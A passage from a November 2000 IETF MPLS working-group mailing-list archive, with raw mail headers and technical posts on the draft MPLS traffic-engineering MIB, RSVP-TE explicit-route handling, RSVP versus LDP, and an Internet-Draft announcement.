mplsTunnelOperStatus is 'up' can be viewed by > examining the mplsTunnelARHopTable." > ::= { mplsTunnelEntry 25 } > >Regards, >Adrian >-- >Adrian Farrel mailto:af@dataconnection.com >Network Convergence Group >Data Connection Ltd., Chester, UK >http://www.dataconnection.com/ >Tel: +44 (0) 1244 313440 Fax: +44 (0) 1244 312422 > > > >-----Original Message----- > >From: Cisco -Thomas Nadeau > >Sent: Monday, November 13, 2000 8:14 PM > >To: Sowdambiga Karthikeyan > >Cc: mpls@UU.NET > >Subject: Re: draft-ietf-mpls-te-mib-04 clarifications > > > > > > > > > >> Can we have one more field in the mplsTunnelEntry, > >to turn on/off > >> the record > >>route option (for eg. in case of RSVP, the RRO option can be > >turned on/off). > >>This can be interpreted as: if this is turned on, then the AR > >Hop Table may be > >>populated by the signalling protocol and if it is turned off, > >the table > >>won't be > >>populated. > > > > The ARTable should always contain the actual path being taken > >by the tunnel unless it is unavailable, so your interpretation of > >it not being populated if RRO is disabled is accurate. I can see > >that it might be an interesting nob to turn off/on, but I would want > >to hear from others before adding new stuff to the MIB at this point. > > > >> By the way, when can we expect version -05 ? > > > > As soon as Cheenu and Arun return from vacation and > >we can all have a conference call. ;) Seriously, it is > >finished with only one minor issue that needs to be decided. > >After that it will go out. Hopefully this will be within the > >next day or so. > > > > --Tom > > > > From owner-mpls@UU.NET Mon Nov 13 18:18:10 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA00495 for ; Mon, 13 Nov 2000 18:18:10 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjper28655; Mon, 13 Nov 2000 23:17:06 GMT Received: by mail-control.mail.uu.net id QQjper10664 for mpls-outgoing; Mon, 13 Nov 2000 23:16:41 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjper10659 for ; Mon, 13 Nov 2000 23:16:38 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjper29988 for ; Mon, 13 Nov 2000 23:16:06 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjper06861 for ; Mon, 13 Nov 2000 23:16:05 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id SAA14378 for mpls@uu.net; Mon, 13 Nov 2000 18:16:05 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjper10478 for ; Mon, 13 Nov 2000 23:15:26 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpeq00892 for ; Mon, 13 Nov 2000 23:14:24 GMT Received: from ckmso1.proxy.att.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ckmso1.att.com [12.20.58.69]) id QQjpeq25000 for ; Mon, 13 Nov 2000 23:14:24 GMT Received: from njb140r1.ems.att.com ([135.65.202.58]) by ckmso1.proxy.att.com (AT&T IPNS/MSO-2.4) with ESMTP id SAA17425 for ; Mon, 13 Nov 2000 18:14:22 -0500 (EST) Received: from njb140bh2.ems.att.com by njb140r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id SAA28108; Mon, 13 Nov 2000 18:13:21 -0500 (EST) Received: by njb140bh2.ems.att.com with Internet Mail Service (5.5.2652.35) id ; Mon, 13 Nov 2000 18:14:22 -0500 Message-ID: From: "Liu, Chia J (Charlie), ALSVC" To: "'MPLS UUNet'" Subject: subscribe Date: Mon, 13 Nov 2000 18:14:17 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk From owner-mpls@UU.NET Mon Nov 13 18:40:06 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA07462 for ; Mon, 13 Nov 2000 18:40:06 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpes09097; Mon, 13 Nov 2000 23:39:14 GMT Received: by mail-control.mail.uu.net id QQjpes12636 for mpls-outgoing; Mon, 13 Nov 2000 23:38:53 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpes12631 for ; Mon, 13 Nov 2000 23:38:42 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpes12980 for ; Mon, 13 Nov 2000 23:38:33 GMT Received: from workhorse.fictitious.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: workhorse.fictitious.org [209.66.129.230]) id QQjpes07999 for ; Mon, 13 Nov 2000 23:38:32 GMT Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1]) by workhorse.fictitious.org (8.9.3/8.9.3) with ESMTP id SAA00263; Mon, 13 Nov 2000 18:37:04 -0500 (EST) (envelope-from curtis@workhorse.fictitious.org) Message-Id: <200011132337.SAA00263@workhorse.fictitious.org> To: "Hong Liao" cc: mpls@UU.NET Reply-To: curtis@avici.com Subject: Re: rsvp-te question In-reply-to: Your message of "Mon, 13 Nov 2000 15:06:03 EST." <85256996.006E8048.00@notes949.cc.telcordia.com> Date: Mon, 13 Nov 2000 18:37:04 -0500 From: Curtis Villamizar Sender: owner-mpls@UU.NET Precedence: bulk In message <85256996.006E8048.00@notes949.cc.telcordia.com>, "Hong Liao" writes : > > > Hello, > > >From rsvp-te 07.txt section 2.2, it says that" Nodes may also modify the ER > O > before forwarding the Path message", I was wondering which way verdors > implement this since it uses the word "may". > > Thanks in advance. > > Julia Julia, Here are some of the ways in which it is modified. If there is a loose hop the ERO is modified, the CR-SPF lookup is done and the hop is replaced with one or more strict hop. If there is a strict hop to a stub advertised by another router or the router Id (which is also usually advertised as a stub), then the interface address replaces the stub. The latter can get you in trouble if the stub is also the far end of one of your own interfaces, because the intent was usually to take that interface and no other so the hop should be rejected. The latter is one of those be conservative in what you send an liberal in what you accept things and its value is somewhat debatable. The former allows loose hop to be used but prevents route loops even if LSPs are brought up during transient inconsistency in LSDB across nodes (although a loop could still occur in the future if there is transient disagreement among LSR over which OSPF area to exit). Curtis From owner-mpls@UU.NET Mon Nov 13 23:10:53 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA11512 for ; Mon, 13 Nov 2000 23:10:48 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpfk21716; Tue, 14 Nov 2000 04:09:48 GMT Received: by mail-control.mail.uu.net id QQjpfk08516 for mpls-outgoing; Tue, 14 Nov 2000 04:09:14 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpfk08501 for ; Tue, 14 Nov 2000 04:09:11 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpfk06126 for ; Tue, 14 Nov 2000 04:08:34 GMT Received: from fsnt.future.futsoft.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.197.140.35]) id QQjpfk28786 for ; Tue, 14 Nov 2000 04:08:31 GMT Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com (Content Technologies SMTPRS 2.0.15) with ESMTP id ; Tue, 14 Nov 2000 09:41:54 +0530 Received: from manis (manis.future.futsoft.com [10.0.6.16]) by kailash.future.futsoft.com (8.7.1/8.7.1) with SMTP id JAA24440; Tue, 14 Nov 2000 09:26:04 +0530 Reply-To: From: "Manikantan S" To: "'Thomas D. Nadeau'" , "'Sowdambiga Karthikeyan'" Cc: Subject: RE: draft-ietf-mpls-te-mib-04 clarifications Date: Tue, 14 Nov 2000 09:30:57 +0530 Message-Id: <000701c04def$7ecc13c0$1006000a@future.futsoft.com> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Importance: Normal In-Reply-To: <4.3.2.7.2.20001113151010.04f30258@bucket.cisco.com> Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello Thomas, # #-----Original Message----- #From: owner-mpls@uu.net [mailto:owner-mpls@uu.net]On Behalf Of Thomas D. #Nadeau #Sent: Tuesday, 14 November 2000 1:44 AM #To: Sowdambiga Karthikeyan #Cc: mpls@uu.net #Subject: Re: draft-ietf-mpls-te-mib-04 clarifications # #> Can we have one more field in the mplsTunnelEntry, to turn on/off #> the record #>route option (for eg. in case of RSVP, the RRO option can be turned on/off). #>This can be interpreted as: if this is turned on, then the AR Hop Table may be #>populated by the signalling protocol and if it is turned off, the table #>won't be #>populated. # # The ARTable should always contain the actual path being taken #by the tunnel unless it is unavailable, so your interpretation of #it not being populated if RRO is disabled is accurate. I can see #that it might be an interesting nob to turn off/on, but I would want #to hear from others before adding new stuff to the MIB at this point. We do have such a support to enable and disable RRO option added in our enterprises MIB. It will be very helpful it is made part of the standard MIB. thanks and regards mani From owner-mpls@UU.NET Mon Nov 13 23:22:48 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA14090 for ; Mon, 13 Nov 2000 23:22:47 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpfl01245; Tue, 14 Nov 2000 04:21:35 GMT Received: by mail-control.mail.uu.net id QQjpfl09980 for mpls-outgoing; Tue, 14 Nov 2000 04:20:58 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpfl09971 for ; Tue, 14 Nov 2000 04:20:54 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpfl07080 for ; Tue, 14 Nov 2000 04:20:05 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpfl28916 for ; Tue, 14 Nov 2000 04:20:05 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id XAA05814 for mpls@uu.net; Mon, 13 Nov 2000 23:20:04 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpfl09895 for ; Tue, 14 Nov 2000 04:19:55 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpfl03025 for ; Tue, 14 Nov 2000 04:18:43 GMT Received: from rtp-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjpfl03591 for ; Tue, 14 Nov 2000 04:18:43 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id XAA18012; Mon, 13 Nov 2000 23:16:55 -0500 (EST) Received: from TNADEAU-PC02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id ABD07421; Mon, 13 Nov 2000 23:18:39 -0500 (EST) Message-Id: <4.3.2.7.2.20001113231604.04f8fe60@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 13 Nov 2000 23:16:38 -0500 To: , "'Sowdambiga Karthikeyan'" From: "Thomas D. Nadeau" Subject: RE: draft-ietf-mpls-te-mib-04 clarifications Cc: In-Reply-To: <000701c04def$7ecc13c0$1006000a@future.futsoft.com> References: <4.3.2.7.2.20001113151010.04f30258@bucket.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk Hi, I will add it as long as there are no objections voiced within the next few days. Thanks for your input. --Tom >Hello Thomas, > ># >#-----Original Message----- >#From: owner-mpls@uu.net [mailto:owner-mpls@uu.net]On Behalf Of Thomas D. >#Nadeau >#Sent: Tuesday, 14 November 2000 1:44 AM >#To: Sowdambiga Karthikeyan >#Cc: mpls@uu.net >#Subject: Re: draft-ietf-mpls-te-mib-04 clarifications ># >#> Can we have one more field in the mplsTunnelEntry, to turn on/off >#> the record >#>route option (for eg. in case of RSVP, the RRO option can be turned >on/off). >#>This can be interpreted as: if this is turned on, then the AR Hop Table >may be >#>populated by the signalling protocol and if it is turned off, the table >#>won't be >#>populated. ># ># The ARTable should always contain the actual path being taken >#by the tunnel unless it is unavailable, so your interpretation of >#it not being populated if RRO is disabled is accurate. I can see >#that it might be an interesting nob to turn off/on, but I would want >#to hear from others before adding new stuff to the MIB at this point. > >We do have such a support to enable and disable RRO option added in our >enterprises MIB. It will be very helpful it is made part of the standard >MIB. > >thanks and regards >mani From owner-mpls@UU.NET Tue Nov 14 01:19:50 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA20951 for ; Tue, 14 Nov 2000 01:19:50 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpft13866; Tue, 14 Nov 2000 06:18:34 GMT Received: by mail-control.mail.uu.net id QQjpft14234 for mpls-outgoing; Tue, 14 Nov 2000 06:17:59 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpft14216 for ; Tue, 14 Nov 2000 06:17:48 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpft01058 for ; Tue, 14 Nov 2000 06:17:44 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpft22953 for ; Tue, 14 Nov 2000 06:17:44 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id BAA14042 for mpls@uu.net; Tue, 14 Nov 2000 01:17:43 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpft14170 for ; Tue, 14 Nov 2000 06:17:10 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpft07391 for ; Tue, 14 Nov 2000 06:16:29 GMT Received: from sj-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjpft10988 for ; Tue, 14 Nov 2000 06:16:28 GMT Received: from bulkrate.cisco.com (bulkrate.cisco.com [171.71.160.24]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id WAA21638; Mon, 13 Nov 2000 22:16:31 -0800 (PST) Received: from jlawrenc-pc.cisco.com (dhcp-64-104-219-186.cisco.com [64.104.219.186]) by bulkrate.cisco.com (Mirapoint) with ESMTP id AAK00112; Mon, 13 Nov 2000 22:15:49 -0800 (PST) Message-Id: <4.3.2.7.2.20001114170215.00af9e30@bulkrate.cisco.com> X-Sender: jlawrenc@bulkrate.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 14 Nov 2000 17:13:00 +1100 To: "Tom Tang" From: Jeremy Lawrence Subject: Re: RSVP vs LDP Cc: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-mpls@UU.NET Precedence: bulk Tom, > Being relatively new to this WG, I heard that the majority > of MPLS delpoyments are going out with RSVP support. Is there, or > will there be a migration to using LDP in the future ? If people > can forward me any pertinent past discussions on this topic, it'd be > greatly appreciated. Thanks. There is no dispute that LDP should be used as a label distribution protocol for hop-by-hop routed MPLS. Two alternatives label distribution protocols for explicitly-routed MPLS and traffic engineering are RSVP+extensions and LDP+CR-LDP. There is no conflict between the use of RSVP+extensions for traffic engineering, and the use of LDP for hop-by-hop routed MPLS; they may be used simultaneously. So, RSVP users may use LDP without migrating away from RSVP. Regards, Jeremy Lawrence From owner-mpls@UU.NET Tue Nov 14 06:47:47 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA11112 for ; Tue, 14 Nov 2000 06:47:47 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpgp04119; Tue, 14 Nov 2000 11:46:31 GMT Received: by mail-control.mail.uu.net id QQjpgp06449 for mpls-outgoing; Tue, 14 Nov 2000 11:45:57 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpgp06440 for ; Tue, 14 Nov 2000 11:45:45 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpgp19876 for ; Tue, 14 Nov 2000 11:45:03 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpgp06152 for ; Tue, 14 Nov 2000 11:45:02 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id GAA27470 for mpls@uu.net; Tue, 14 Nov 2000 06:45:02 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpgo06211 for ; Tue, 14 Nov 2000 11:44:37 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpgo04908 for ; Tue, 14 Nov 2000 11:44:32 GMT Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjpgo28740 for ; Tue, 14 Nov 2000 11:44:32 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA09698; Tue, 14 Nov 2000 06:44:32 -0500 (EST) Message-Id: <200011141144.GAA09698@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; CC: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-bernstein-gmpls-optical-00.txt Date: Tue, 14 Nov 2000 06:44:32 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart X-MIME-Autoconverted: from 8bit to quoted-printable by cmr1.ash.ops.us.uu.net id QQjpgp04119 Content-Transfer-Encoding: quoted-printable A New Internet-Draft is available from the on-line Internet-Drafts direct= ories. Title : Some Comments on GMPLS and Optical Technologies Author(s) : G. Bernstein, V. Sharma Filename : draft-bernstein-gmpls-optical-00.txt Pages : 10 Date : 13-Nov-00 =09 GMPLS [2] is being considered as an extension to the MPLS framework to include optical, non-packet switched technologies. This draft reviews the motivation for doing so from an end-user=C6s perspective and points out some key requirements/impacts that this will have on the extensions to the routing and label distribution/signaling protocols. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-bernstein-gmpls-optical-00.txt Internet-Drafts are also available by anonymous FTP. Login with the usern= ame "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-bernstein-gmpls-optical-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html=20 or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-bernstein-gmpls-optical-00.txt". =09 NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. =09 =09 Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001113134742.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-bernstein-gmpls-optical-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-bernstein-gmpls-optical-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001113134742.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Tue Nov 14 11:12:38 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA05838 for ; Tue, 14 Nov 2000 11:12:38 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjphg17377; Tue, 14 Nov 2000 16:10:43 GMT Received: by mail-control.mail.uu.net id QQjphg21724 for mpls-outgoing; Tue, 14 Nov 2000 16:10:12 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjphg21701 for ; Tue, 14 Nov 2000 16:10:01 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjphg15005 for ; Tue, 14 Nov 2000 16:09:28 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjphg18650 for ; Tue, 14 Nov 2000 16:09:27 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id IAA24125 for ; Tue, 14 Nov 2000 08:09:28 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA22292 for mpls@uu.net; Tue, 14 Nov 2000 11:09:25 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpeq10000 for ; Mon, 13 Nov 2000 23:12:19 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpeq17977 for ; Mon, 13 Nov 2000 23:12:16 GMT Received: from web1702.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP (peer crosschecked as: web1702.mail.yahoo.com [128.11.23.213]) id QQjpeq21979 for ; Mon, 13 Nov 2000 23:12:16 GMT Message-ID: <20001113231215.15916.qmail@web1702.mail.yahoo.com> Received: from [47.248.0.43] by web1702.mail.yahoo.com; Mon, 13 Nov 2000 15:12:15 PST Date: Mon, 13 Nov 2000 15:12:15 -0800 (PST) From: Rita Hui Subject: Loose ERO subobject To: mpls@UU.NET MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-mpls@UU.NET Precedence: bulk Hi, In RSVP-TE, when a LSR receives a PATH message with the FIRST ERO subobject being a LOOSE one, which of the following behaviour is correct? 1) It generates error "Bad Initial subobject" if the node does not belong to the address described by the subobject. 2) It does not generate the "bad initial subobject" error, but select a next hop for the address described by the subobject. If it does not have a path, generate "Bad loose node", else, send it off. The draft (version 7) does not say that it evaluates the first ERO subobject only when the "L" bit of the subobject is not set. This is different than "CR-LDP" draft which specifically states evaluation of first ERO TLV is done ONLY when the "L" bit is not set. If RSVP-TE really evaluates the first ERO subobject no matter it is loose or strict, when a LSR selects a next hop for a loose ERO subobject, it must ensure that the Path message's first ERO subobject contains the next hop's address before it sends downstream so that the downstream node would accept it. What is the rationale of this distinct behaviour in Rsvp-Te as opposed to CR-LDP? __________________________________________________ Do You Yahoo!? Yahoo! Calendar - Get organized for the holidays! http://calendar.yahoo.com/ From owner-mpls@UU.NET Tue Nov 14 11:13:03 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA05975 for ; Tue, 14 Nov 2000 11:13:03 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjphg27408; Tue, 14 Nov 2000 16:11:47 GMT Received: by mail-control.mail.uu.net id QQjphg21902 for mpls-outgoing; Tue, 14 Nov 2000 16:11:12 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjphg21830 for ; Tue, 14 Nov 2000 16:10:53 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjphg21818 for ; Tue, 14 Nov 2000 16:09:33 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjphg18797 for ; Tue, 14 Nov 2000 16:09:33 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id IAA24209 for ; Tue, 14 Nov 2000 08:09:34 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA22300 for mpls@uu.net; Tue, 14 Nov 2000 11:09:31 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpgy19176 for ; Tue, 14 Nov 2000 14:13:18 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpgy15319 for ; Tue, 14 Nov 2000 14:12:28 GMT Received: from im.eth.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.uthplanet.com [202.9.136.18]) id QQjpgy26369 for ; Tue, 14 Nov 2000 14:12:22 GMT Received: from nagaraju ([203.199.79.192]) by im.eth.net with Microsoft SMTPSVC(5.5.1877.117.11); Tue, 14 Nov 2000 19:38:50 +0530 Reply-To: From: "P.Nagaraju" To: Subject: Information Regarding CR-LDP Date: Tue, 14 Nov 2000 19:49:56 +0530 Message-ID: <000001c04e45$f7d49cf0$1401a8c0@fsdi.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Dear Friends, i want information in deciding the next hop to establish a CR-LSP when only the resources are the constraints. Please reply me ASAP. thanx nagaraju From 